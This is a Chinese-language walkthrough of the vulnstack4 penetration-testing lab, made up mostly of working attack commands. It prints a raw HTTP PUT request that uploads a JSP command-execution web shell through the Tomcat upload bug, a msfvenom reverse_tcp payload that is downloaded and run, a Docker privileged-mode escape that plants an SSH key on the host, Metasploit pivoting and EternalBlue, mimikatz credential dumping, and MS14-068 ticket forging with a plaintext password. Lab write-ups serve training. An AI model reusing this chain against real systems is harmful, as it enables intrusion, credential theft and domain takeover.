vulnstack4靶场记录
环境配置
项目地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
在 ubuntu 中启动 docker
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 sudo docker-compose up -d cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/ sudo docker-compose up -d cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/ sudo docker-compose up -d
外网部分
s2-045 存在文件上传
天融信那个没有,k8的没反应,于是手动发包。tomcat CVE-2017-12617
可以直接用 PUT 方法写入文件,msf 有脚本一键打(不过这个 shell 很难受)
于是手动发包传一个 jsp 上去
PUT /shell.jsp/ HTTP/1.1 Host: 192.168.157.132:2002 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 750 <%@ page import="java.util.*,java.io.*,java.net.*"%> <% %> <HTML><BODY> <FORM METHOD="POST" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>
phpMyAdmin文件包含
包含 sql 执行操作时生成 cookie 对应的 session 文件,即可达成任意文件写
拿下 web 服务器
弹一个到 msf 的马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.131 LPORT=6666 -f elf > shell_6666.elf
python 起一个 http 服务器远程把马 down 下来后执行。(别忘了加执行权限)
两种思路:一个是用 CVE-2019-5736 直接打(复现失败了),另一个是用 –privileged 特权模式逃逸,这里说一下第二种。
判断是否在 docker 中
ls /.dockerenv 回显:/.dockerenv
判断是否是特权模式
cat /proc/self/status | grep CapEff CapEff对应的掩码值应该为0000003fffffffff
查看磁盘文件并挂载
fdisk -l mkdir /test mount /dev/sda1 /test
本地生成私钥
ssh-keygen -f hack chmod 600 hack
创建 key.sh 并上传
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHHyGclk2ax0r++36xUO8eHqMFEhAmCILoIJqO3R61Aua7f45BJMMKFNYZGKusPfldVXk2pf+XUU46VwQzxi5Kj2F0PTFMQZyOWoFPP0uXETb5LjrM2CBqz65hfSjeMLq4RblcawjadmjHQVFwXnxqpQ+PxLUOFhT45GTbGKqZFOFlS1FRDswxFr8NO8UXcT9+k1XD5ZrowfNr/FlC8NkgXA1h0a2KiD1N5PMvoF0Jb+B/z0kDGzjoNUAtsj+d31AyNius+xyoRsgPn8KQo3oVMAv/deshrxMWF18HzercJtY4PnzLvIjj9F77+em/tFDx/tMcCOJ8EgDm1eolghNmLEHhwyTfguSMLts69FpE8b85UVc07ontWRDGu12MeIsJI9t7CmMIDc2kLwmYcZSE9eXUgfmxkewNbEjTjvI2iiARDmSnCY2LD4LMiZewQtgF5g5QJF9CcfdThY1VY0jPPDtIYF5VxsZ/Ndm4m9o/EzwxXh0WYs/2+RacYgPH7K0= root@kali' > /test/home/ubuntu/.ssh/authorized_keys cat /test/home/ubuntu/.ssh/authorized_keys
最后直接用 ssh 链接就可以了
ssh -i hack ubuntu@192.168.157.132
然后就可以为所欲为了横向移动
先在 msf 中上线,添加 ew 代理
msf 中设置路由转发,并执行存活扫描
run autoroute -s 192.168.183.0/24 run autoroute -p 或 set proxies socks5:192.168.157.132:1080 存活主机: use auxiliary/scanner/portscan/tcp set rhosts 192.168.183.0-255 set threads 10 run
永恒之蓝一发入魂
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.183.129 set lport 4444 set AutoRunScript post/windows/manage/migrate // 自动迁移进程 run
开始攻击域控,这里直接拿到了 system,net user /domain 权限受限,选择切换到域用户中。
ps 找域用户的进程 steal_token 1560
先用 mimikatz 抓一下密码 (其实这里直接翻 ubuntu 的历史命令信息就能拿到密码)
rev2self 回到 system 权限 load kiwi kiwi_cmd sekurlsa::logonpasswords
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
然后用 mimikatz 传递票据
kerberos::purge 清除票据 kerberos::ptc TGT_douser@demo.com.ccache
然后查看一下域控的 c 盘,成功
dir \\WIN-ENS2VR5TR3N\c$